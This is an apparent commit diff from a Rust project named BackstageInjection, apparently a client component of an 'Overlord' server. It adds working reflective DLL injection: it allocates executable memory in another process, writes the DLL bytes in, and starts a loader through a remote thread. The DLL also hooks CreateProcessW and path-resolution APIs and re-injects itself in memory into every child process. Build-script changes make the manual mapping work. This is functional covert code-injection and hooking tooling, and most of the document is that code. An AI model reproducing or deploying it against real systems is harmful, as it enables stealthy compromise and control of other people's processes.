||||
for i in 0..num_sections as usize {
|
||||
let s = section_off + i * 40;
|
||||
if s + 40 > pe.len() {
|
||||
return None;
|
||||
}
|
||||
let virtual_addr = u32::from_le_bytes(pe[s + 12..s + 16].try_into().ok()?);
|
||||
let raw_size = u32::from_le_bytes(pe[s + 16..s + 20].try_into().ok()?);
|
||||
let raw_ptr = u32::from_le_bytes(pe[s + 20..s + 24].try_into().ok()?);
|
||||
if rva >= virtual_addr && rva < virtual_addr.saturating_add(raw_size) {
|
||||
return Some(rva.wrapping_sub(virtual_addr).wrapping_add(raw_ptr));
|
||||
}
|
||||
}
|
||||
// Header data lives before the first section's raw pointer.
|
||||
if num_sections > 0 {
|
||||
let s = section_off;
|
||||
if s + 24 <= pe.len() {
|
||||
let first_raw_ptr = u32::from_le_bytes(pe[s + 20..s + 24].try_into().ok()?);
|
||||
if rva < first_raw_ptr {
|
||||
return Some(rva);
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Inject raw DLL bytes into `process` by copying them at their natural file
|
||||
/// offsets and running our exported `ReflectiveLoader` on a remote thread.
|
||||
/// Returns false on any failure; callers treat failure as fail-open.
|
||||
pub unsafe fn inject_reflective(process: usize, bytes: &[u8]) -> bool {
|
||||
let Some(loader_offset) = find_reflective_loader_offset(bytes) else {
|
||||
dbg_log!("inject-reflective: ReflectiveLoader export not found in DLL bytes");
|
||||
return false;
|
||||
};
|
||||
dbg_log!("inject-reflective: loader offset=0x{loader_offset:x} size={}", bytes.len());
|
||||
|
||||
let base = unsafe {
|
||||
abi::VirtualAllocEx(
|
||||
process,
|
||||
0,
|
||||
bytes.len(),
|
||||
abi::MEM_COMMIT | abi::MEM_RESERVE,
|
||||
abi::PAGE_EXECUTE_READWRITE,
|
||||
)
|
||||
};
|
||||
if base == 0 {
|
||||
dbg_log!("inject-reflective: VirtualAllocEx failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
let mut written = 0usize;
|
||||
let ok = unsafe {
|
||||
abi::WriteProcessMemory(
|
||||
process,
|
||||
base,
|
||||
bytes.as_ptr() as *const c_void,
|
||||
bytes.len(),
|
||||
&mut written,
|
||||
)
|
||||
};
|
||||
if ok == 0 || written != bytes.len() {
|
||||
dbg_log!("inject-reflective: WriteProcessMemory failed (ok={ok} written={written})");
|
||||
unsafe {
|
||||
abi::VirtualFreeEx(process, base, 0, abi::MEM_RELEASE);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
let mut thread_id = 0u32;
|
||||
let h_thread = unsafe {
|
||||
abi::CreateRemoteThread(
|
||||
process,
|
||||
null_mut(),
|
||||
1024 * 1024,
|
||||
base + loader_offset as usize,
|
||||
0,
|
||||
0,
|
||||
&mut thread_id,
|
||||
)
|
||||
};
|
||||
if h_thread == 0 {
|
||||
dbg_log!("inject-reflective: CreateRemoteThread failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
let wait = unsafe { abi::WaitForSingleObject(h_thread, 30000) };
|
||||
unsafe {
|
||||
abi::CloseHandle(h_thread);
|
||||
}
|
||||
let ok = wait == abi::WAIT_OBJECT_0;
|
||||
dbg_log!("inject-reflective: remote thread wait=0x{wait:08X} thread_id={thread_id} -> {ok}");
|
||||
ok
|
||||
}
|
||||
|
||||
/// Inject `path` into `process` by writing the path into the target and running
|
||||
/// LoadLibraryW on a remote thread. Returns false on any failure; callers treat
|
||||
/// failure as fail-open (the child still runs, just without hooks).
|
||||
@@ -111,3 +359,53 @@ pub unsafe fn inject_library(process: usize, path: &[u16]) -> bool {
|
||||
);
|
||||
ok
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
/// Locate the built DLL so the export resolver can be exercised against the
|
||||
/// real artifact (wherever the tests run from one of the release outputs).
|
||||
fn built_dll_bytes() -> Option<Vec<u8>> {
|
||||
let root = std::env::var_os("CARGO_MANIFEST_DIR")?;
|
||||
for path in [
|
||||
"target/x86_64-pc-windows-msvc/release/BackstageInjection.dll",
|
||||
"target/x86_64-pc-windows-gnu/release/BackstageInjection.dll",
|
||||
"target/release/BackstageInjection.dll",
|
||||
] {
|
||||
let p = std::path::Path::new(&root).join(path);
|
||||
if let Ok(bytes) = std::fs::read(&p) {
|
||||
return Some(bytes);
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn find_loader_rejects_truncated_input_without_panicking() {
|
||||
for len in [0usize, 1, 63, 64, 65, 100, 1000] {
|
||||
let mut bytes = vec![0u8; len];
|
||||
if len >= 2 {
|
||||
bytes[0] = b'M';
|
||||
bytes[1] = b'Z';
|
||||
}
|
||||
assert_eq!(find_reflective_loader_offset(&bytes), None, "len={len}");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn find_loader_rejects_garbage_pe() {
|
||||
assert_eq!(find_reflective_loader_offset(b"RIFF this is not a pe file at all"), None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn find_loader_finds_export_in_real_dll() {
|
||||
let Some(dll) = built_dll_bytes() else {
|
||||
eprintln!("skipping: built DLL not found (run cargo build first)");
|
||||
return;
|
||||
};
|
||||
let offset = find_reflective_loader_offset(&dll).expect("ReflectiveLoader export in built DLL");
|
||||
assert!(offset > 0, "loader offset must be inside the image");
|
||||
assert!((offset as usize) < dll.len());
|
||||
}
|
||||
}
|
||||
@@ -2,10 +2,16 @@
|
||||
//!
|
||||
//! On DLL_PROCESS_ATTACH the DLL:
|
||||
//! - reads the RDI_SEARCH_PATH / RDI_REPLACE_PATH environment configuration;
|
||||
//! - opens the RDI_DLL_SECTION / RDI_DLL_SIZE page-file section passed by the
|
||||
//! agent so child processes can be injected in-memory (reflective path);
|
||||
//! - installs MinHook trampolines over ntdll path-resolution APIs and
|
||||
//! kernel32!CreateProcessW;
|
||||
//! - on CreateProcessW success for a child, injects this same DLL from its
|
||||
//! on-disk path via LoadLibraryW.
|
||||
//! - on CreateProcessW success for a child, reflectively injects this DLL
|
||||
//! from the shared-section bytes, or falls back to Injecting the module's
|
||||
//! own on-disk path via LoadLibraryW when no section is present.
|
||||
//!
|
||||
//! The cdylib also exports `ReflectiveLoader` (compiled from the vendored C
|
||||
//! loader in reflective/) so the initial injection itself can be reflective.
|
||||
//!
|
||||
//! On DLL_PROCESS_DETACH all hooks are disabled best-effort.
|
||||
|
||||
@@ -37,11 +43,16 @@ pub extern "system" fn DllMain(
|
||||
}
|
||||
log::init_from_env();
|
||||
let cfg = config::load();
|
||||
if let Some(bytes) = unsafe { inject::load_dll_bytes_from_section() } {
|
||||
inject::set_dll_bytes(bytes);
|
||||
}
|
||||
dbg_log!(
|
||||
"DllMain attach pid={} search={} replace={}",
|
||||
"DllMain attach pid={} search={} replace={} have_section_bytes={} our_path='{}'",
|
||||
unsafe { abi::GetCurrentProcessId() },
|
||||
crate::log::display_wide(&cfg.search),
|
||||
crate::log::display_wide(&cfg.replace),
|
||||
inject::dll_bytes().is_some(),
|
||||
crate::log::display_wide(inject::our_path().unwrap_or(&Vec::new())),
|
||||
);
|
||||
let _ = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| {
|
||||
hooks::install(cfg);
|
||||
|
||||
@@ -1,14 +1,17 @@
|
||||
@echo off
|
||||
setlocal EnableDelayedExpansion
|
||||
REM Build the BackstageInjection DLL for Windows x64 using cargo (MSVC target).
|
||||
REM Requires a Rust toolchain with the x86_64-pc-windows-msvc target and MSVC
|
||||
REM build tools (auto-detected by the cc crate via vswhere).
|
||||
REM Build the BackstageInjection DLL for Windows x64 using cargo (GNU target).
|
||||
REM The GNU toolchain is required: the reflective loader manually maps the image
|
||||
REM without the MSVC CRT bootstrapping, and the MSVC CRT's TLS/CFG machinery
|
||||
REM fast-fails (0xC0000409) under a manual map. See
|
||||
REM BackstageInjection-Rust/build.rs and protocol/README.md. Requires the
|
||||
REM x86_64-pc-windows-gnu target and a mingw-w64 gcc for the cc crate.
|
||||
|
||||
set "SCRIPT_DIR=%~dp0"
|
||||
for %%I in ("%SCRIPT_DIR%..") do set "ROOT=%%~fI\"
|
||||
set "CRATE_DIR=%ROOT%BackstageInjection-Rust"
|
||||
set "OUT_DIR=%ROOT%Overlord-Server\dist-clients"
|
||||
set "TARGET=x86_64-pc-windows-msvc"
|
||||
set "TARGET=x86_64-pc-windows-gnu"
|
||||
set "DLL_NAME=BackstageInjection.x64.dll"
|
||||
|
||||
where cargo >nul 2>&1
|
||||
|
||||
Reference in New Issue
Block a user